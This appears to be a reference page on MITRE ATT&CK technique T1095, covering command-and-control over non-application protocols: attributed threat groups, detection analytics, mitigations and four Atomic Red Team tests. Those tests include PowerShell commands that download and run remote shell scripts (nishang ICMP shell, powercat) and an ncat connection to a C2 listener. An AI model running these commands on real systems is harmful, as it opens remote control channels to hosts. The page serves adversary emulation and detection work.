tfMITRE ATT&CK technique

Non-Application Layer Protocol T1095

Tactic: Command and Control
Platforms: ESXi, Linux, macOS, Network Devices, Windows
Version: 2.4
Created: 31 May 2017
Last modified: 12 May 2026
Contributors: Ryan Becwar; Duane Michael

Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.[1] Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 15%

Threat groups85th percentile · 85% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 5%

Campaigns95th percentile · 95% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 4%

Tools & malware96th percentile · 96% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rules64th pct

Detection rules64th percentile · 64% of ATT&CK techniques have this many detection rules written or fewer.

Non-Application Layer Protocol MITRE reference T1095

Top 15%of all ATT&CK techniques for number of groups

12 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

UNC3886G1048 ↗

Has deployed backdoors that communicate over TCP to compromised network devices and over VMCI to ESXi hosts.1 2 3

created 2025-05-293 references

ToddyCatG1022 ↗

Has used a passive backdoor that receives commands with UDP packets.1

created 2024-01-031 reference

MetadorG1013 ↗

Has used TCP for C2.1

created 2023-01-251 reference

Ember BearG1003 ↗

Uses socket-based tunneling utilities for command and control purposes such as NetCat and Go Simple Tunnel (GOST). These tunnels are used to push interactive command prompts over the created sockets.1 Ember Bear has also used reverse TCP connections from Meterpreter installations to communicate back with C2 infrastructure.2

created 2022-06-092 referencesaka UNC2589

BITTERG1002 ↗

Has used TCP for C2 communications.1

created 2022-06-011 referenceaka T-APT-17

BackdoorDiplomacyG0135 ↗

Has used EarthWorm for network tunneling with a SOCKS5 server and port transfer functionalities.1

created 2021-09-211 reference

All 12 groups for this technique · 6 newest in this preview

Offense vs defense T1095

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 8Sigma rules (cumulative) · 3Splunk ESCU (cumulative) · 2

first rule: 2020 Q1 · 8 of 8 campaigns plotted

Non-Application Layer Protocol detection strategy DET0457

MITRE names one behaviour worth catching for this technique and breaks it into 5 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection of Non-Application Layer Protocols for C2

Enterprise

5 platforms

AN1254 · Windows

Anomalous use of ICMP or UDP by non-network service processes for data exfiltration or remote control, especially if traffic bypasses proxy infrastructure or shows unusual flow patterns.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22
Network Traffic ContentDC0085	NSM:Flow	ICMP/UDP traffic (Wireshark, Suricata, Zeek)

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ProcessContextAllowList	Processes normally allowed to use ICMP/UDP (e.g., ping.exe, DNS resolver).
ByteTransferAnomalyThreshold	Suspicion if client sends much more data than it receives (e.g., >90%).
ProtocolUsageBaseline	Baseline which protocols are normal per host or segment (ICMP, UDP, etc.).

AN1255 · Linux

ICMP or raw socket traffic generated by user-mode processes like bash, Python, or nc, typically using ping, hping3, or crafted packets via libpcap or scapy.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Network Connection CreationDC0082	auditd:SYSCALL	sendto/connect
Network Traffic ContentDC0085	NSM:Flow	icmp.log, weird.log

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
RawSocketExecutionPath	Uncommon programs using raw sockets (e.g., netcat, Python, nmap).
TimeWindow	Tunable window for correlating execution with network events (e.g., 2m).

AN1256 · macOS

Unsigned binaries or interpreted scripts initiating non-standard protocols (ICMP, UDP, SOCKS) outside of baseline network behavior.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Network Traffic FlowDC0078	macos:unifiedlog	com.apple.network
Network Traffic ContentDC0085	NSM:Flow	ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
UnsignedBinaryNetworkUsage	Detection threshold for unsigned or transient binaries making ICMP/UDP calls.

AN1257 · ESXi

VMCI (Virtual Machine Communication Interface) traffic between guest and host, or between VMs, originating from non-management tools or unauthorized binaries.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Network Traffic ContentDC0085	esxi:vmkernel	VMCI syslog entries

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
VMCIBackdoorProcess	Monitor for non-vSphere or VMware-native processes using VMCI.
GuestToHostCommPattern	Baseline pattern of guest-to-host traffic vs anomaly (unexpected port, volume).

AN1258 · Network Devices

Non-standard port/protocol pairings or low-entropy ICMP traffic resembling tunneling patterns (e.g., fixed-size pings with delays).

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Network Traffic FlowDC0078	NSM:Flow	conn.log, icmp.log
Network Traffic ContentDC0085	NSM:Firewall	ICMP/UDP protocol anomaly

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ProtocolEntropyThreshold	ICMP/UDP packet content entropy filter to identify encoded payloads.
SessionDurationThreshold	Long ICMP/UDP sessions beyond expected limits (e.g., >5min).

AuditM1047

Periodically investigate ESXi hosts for open VMCI ports. Running the lsof -A command and inspecting results with a type of SOCKET_VMCI will reveal processes that have open VMCI ports.

Filter Network TrafficM1037

Filter network traffic to prevent use of protocols across the network boundary that are unnecessary. If VMCI is not required in ESXi environments, consider restricting guest virtual machines from accessing VMCI services.

Network Intrusion PreventionM1031

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.

Network SegmentationM1030

Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.

Tests4ExecutorsPowerShell 3 · manual 1Need elevation0 of 4Have prerequisites1Have cleanup0Platformswindows, linux

# Test Platform Executor Elevation Prereqs Cleanup Ref

01 ICMP C2 windows PowerShell — — —

This will attempt to start C2 Session Using ICMP. For information on how to set up the listener refer to the following blog: https://www.blackhillsinfosec.com/how-to-c2-over-icmp/

Input arguments

Name	Type	Default	Description
server_ip	string	127.0.0.1	The IP address of the listening server

Attack command

IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1')
Invoke-PowerShellIcmp -IPAddress #{server_ip}

GUID860e76a8-3417-4672-b103-b04467097cb7

02 Netcat C2 windows PowerShell — 1 —

Start C2 Session Using Ncat To start the listener on a Linux device, type the following: nc -l -p <port>

Input arguments

Name	Type	Default	Description
ncat_exe	path	PathToAtomicsFolder\..\ExternalPayloads\T1095\nmap-7.80\ncat.exe	The location of ncat.exe
ncat_path	path	PathToAtomicsFolder\..\ExternalPayloads\T1095	The folder path of ncat.exe
server_ip	string	127.0.0.1	The IP address or domain name of the listening server
server_port	integer	80	The port for the C2 connection

Attack command

cmd /c "#{ncat_exe}" #{server_ip} #{server_port}

Prerequisite

ncat.exe must be available at specified location (#{ncat_exe})

Check

if( Test-Path "#{ncat_exe}") {exit 0} else {exit 1}

Satisfy

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -ItemType Directory -Force -Path "#{ncat_path}" | Out-Null
$parentpath = Split-Path (Split-Path "#{ncat_exe}"); $zippath = "$parentpath\nmap.zip"
Invoke-WebRequest  "https://nmap.org/dist/nmap-7.80-win32.zip" -OutFile "$zippath"
  Expand-Archive $zippath $parentpath -Force
  $unzipPath = Join-Path $parentPath "nmap-7.80"
if( $null -eq (Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | ?{$_.DisplayName -like "Microsoft Visual C++*"}) ) {
  Start-Process (Join-Path $unzipPath "vcredist_x86.exe")
}

GUID91d85c09-df15-49ee-b535-14e2af0135cf

03 Powercat C2 windows PowerShell — — —

Start C2 Session Using Powercat To start the listener on a Linux device, type the following: nc -l -p <port>

Input arguments

Name	Type	Default	Description
server_ip	string	127.0.0.1	The IP address or domain name of the listening server
server_port	integer	80	The port for the C2 connection

Attack command

IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1')
powercat -c #{server_ip} -p #{server_port}

GUID003ad07b-8a2e-4cf1-8dc3-a03bcdccc64f

04 Linux ICMP Reverse Shell using icmp-cnc linux manual — — —

ICMP C2 (Command and Control) utilizes the Internet Control Message Protocol (ICMP), traditionally used for network diagnostics, as a covert communication channel for attackers. By using ICMP, adversaries can send commands, exfiltrate data, or maintain access to compromised systems without triggering network detection systems. This method allows attackers to communicate and control compromised devices while remaining undetected. For more details, check this blog: ICMP Reverse Shell Blog **Important Notes:** - Use [icmp-cnc] for the C2 server (Attacker) and [icmpdoor] for the C2 client (Victim). - Binaries work on Ubuntu 22.04.5 LTS; for CentOS Stream or other, use the Python file from the GitHub link [https://github.com/krabelize/icmpdoor]. - Root access is required.

Attack command

No command — this test is a manual procedure.

GUIDc8ea6460-a2f3-4274-8267-cd32316dbf61

Tests from Atomic Red Team (MIT licence) · technique definition

Non-Application Layer Protocol detections T1095

5 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

64th pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs